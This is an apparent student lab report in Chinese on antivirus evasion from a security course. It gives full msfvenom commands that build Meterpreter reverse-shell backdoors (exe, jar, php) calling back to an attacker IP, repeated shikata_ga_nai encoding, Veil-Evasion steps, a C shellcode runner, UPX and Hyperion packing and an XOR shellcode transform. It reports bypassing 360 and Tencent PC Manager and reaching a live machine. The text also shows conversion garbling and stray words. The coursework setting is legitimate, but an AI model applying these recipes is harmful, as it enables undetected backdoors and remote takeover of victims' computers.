20165230 Exp3 免杀原理与实践

1.实验内容

  • 1.正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,本身利用shellcode编程等免杀工具或技巧;(1.5分)
  • 2.经过组合应用各类技术实现恶意代码免杀(1分)
    (若是成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  • 3.用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

2.基础问题回答

(1)杀软是如何检测出恶意代码的?java

  • 基于特征码的检测:恶意代码中通常会有一段有较明显特征的代码也就是特征码,若是杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序看成恶意软件。
  • 启发式恶意软件检测:启发式Heuristic,简单来讲,就是根据些片面特征去推断。一般是由于缺少精确断定依据。对恶意软件检测来主说,就是若是一个软件在干一般是恶意软件干的事,看起来了像个恶意软件,那咱们就把它当成一个恶意软件吧。典型的行为如链接恶意网站、开放端口、修改系统文件,典型的“外观”如文件自己签名、结构、厂商等信息等。各个厂商会定义本身的检测模式。
  • 基于行为的恶意软件检测:经过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,并且比较特殊。因此当一个程序在运行时,杀毒软件会监视其行为,若是发现了这种特殊的行为,则会把它当成恶意软件。

(2)免杀是作什么?python

  • 经过假装,加解密,对shellcode进行变形,利用veil进行重写重编译等手段防止生成的后门被杀软检测出来

(3)免杀的基本方法有哪些?算法

  • 改变特征码shell

    • 若是你手里只有EXE
      • 加壳:压缩壳 加密壳,使其没法进行逆向,比对病毒库中的特征码
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload从新编译生成可执行文件
    • 有源代码
      • 用其余语言进行重写重编译(veil-evasion)
      • 半手工
  • 改变行为
    • 通信方式
      • 例如以前注入所用到的反弹端口链接
      • 使用隧道技术
      • 加密通信数据
    • 操做模式
      • 基于内存操做
      • 减小对系统的修改
      • 加入混淆做用的正常功能代码
  • 很是规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社工类攻击,诱骗目标关闭AV软件
    • 纯手工打造一个恶意软件

3.实验内容

任务一:正确使用免杀工具或技巧

使用msf编码器,msfvenom生成如jar之类的其余文件

  • Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所固然,全部AV厂家都盯着呢,一有新编码算法,立刻就得加到特征库里。经过编码后,按理论上讲,编码会下降检出率,大不了多编码几回,总会检不出来。
  • 编码一次命令以下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_backdoor.exe

  • 放去virscan扫描,结果有点惨,有29个扫描了出来。
    编程

  • 编码十次命令以下(用-i参数指定编码次数):vim

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_back2.exe

  • 再放去扫描,少了1个,但感受没有多大效果。
    windows

  • 生成.jar文件夹
    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor_java.jar
    数组

  • msfvenom生成php文件:
    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor.php
    安全

使用veil-evasion

  • 竟然安装了一天也没有安装出来,总是卡在展开对象那里,去网上搜也没有找到解决方案,最后实在没办法去拷贝了学长的虚拟机 TAT
  • 下面是学长博客里的正常安装方法:

    在Kali终端中使用sudo apt-get install veil安装,若遇到问题则用sudo apt-get updatesudo apt-get upgrade这两个命令更新一下软件包便可:
    以后用veil命令打开Veil,输入y继续安装直至完成

  • 在终端中使用veil命令进入应用,输入use evasion进入veil-evasion
    输入use python/meterpreter/rev_tcp.py

  • 而后设置回连IP(此处IP是kali)和端口,输入generate生成文件,接着输入你想要payload的名字:veil_c_5230:

  • 而后生成了可执行文件。

  • 看看Viruscan的扫描结果怎么样,咦还不错,只有15个了!

本身利用shellcode编程

Linux平台交叉编译Windows应用

  • 使用命令msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.19.129 LPORT=5230 -f c生成一个c语言格式的shellcode数组

  • vim shell1.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在以后添加主函数
int main() 
{
    int (*func)() = (int(*)())buf; 
   func();
 }

  • 再用i686-w64-mingw32-g++ shell1.c -o shell1.exe命令生成可执行文件
  • 将后门shell1.exe传到Windows 7并尝试回连:
1.在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > shell1.exe注意这里的IP地址为控制端IP,即LinuxIP,生成后门程序

2.在Windows下执行ncat.exe -l 5230 > shell1.exe,这样被控主机就进入了接收文件模式

3.在kali中经过nc 192.168.19.128 5230 < shell1.exe将生成的后门程序传送到Windows主机上.注意这里的IP为被控主机IP,即WindowsIP
  • 回连先ping通,而后再作是没有问题的

  • 仍是同样用Viruscan扫描一下

  • 发现并无改进啊!

  • -e指定生成shellcode的编码方式,生成新的shellcodemsfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.19.129 -f c

  • 仍是不行!!

接下来我换了N种方式变换了主函数,从新生成了shellcode,不断用ncat在两台虚拟机之间传输exe,依然没用,个人心里是崩溃的

  • 再试一下老师提供的方法!
  • 。。。被删除了

加壳处理

upx压缩壳

  • upx是一种压缩程序,能够实现加壳的功能,Kali下输入命令upx shellupx.exe -o shellupx.upxed.exe

  • 再去扫一遍,emmmmm,这个壳好像也没用

Hyperion加密壳

  • 进入目录/usr/share/windows-binaries/hyperion/中;
  • 输入命令wine hyperion.exe -v shell5.upxed.exe shell5.upxed.Hyperion.exe进行加壳:

  • 再去扫一遍,咦,稍微好了一点点点,不过仍是不要加壳了吧

任务二:经过组合应用各类技术实现恶意代码免杀

对shellcode进行免杀变形

  • 思路是在上一步里msfvenom生成shellcode的基础上加上了对每一位进行加2运算,并将shellcode与0x5f相异或,使用的codeblocks编译

在经历了N次失败后,已经快要没有信心了,后来我以前相同的代码在主机的Codeblocks编译生成exe,再放去viruscan里扫描 竟然成功了!也太神奇了吧

  • 也没有被杀软杀!360和腾讯管家都开了

  • 再回连一下,OK!!

veil+加壳

  • 将以前的veil生成的veil_5230.exe,拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/中
  • 输入命令wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe进行加壳
  • 最后放到viruscan里,发现加壳真的很鸡肋。。。最开始veil生成的exe扫描出来结果是15,这样的方式竟然是21!

任务三:用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 实验环境:被控机是Win0实体机,装有腾讯电脑管家(12.14.19590.218)
  • 攻击成功,能够查看她的文件夹

4.实践总结与体会

  • 此次实验花了N多天时间,才最终完成,整个过程确实煎熬,先是配置veil不成功,虚拟机崩了两次,再是不论怎样组合shellcode扫描的结果都不变,还有在实验过程当中保存在桌面的实验截图忽然不见了,被系统删掉了,又只有从新截图,在期间看了不少博客,确是收获了很多。对免杀技术也有了进一步的掌握,让我对病毒的认识有了进一步的提高,同时深入看出了当今杀毒软件的脆弱以及各杀毒软件之间水平的差别,因此,谨慎当心对于咱们这个行业的学生来讲是很是重要而且安全威胁是近在眼前的!

5.离实战还缺些什么技术或步骤?

  • 如何隐藏后门,让别人不经意触发后门实现控制,
  • 如何让后门自启动
相关文章
相关标签/搜索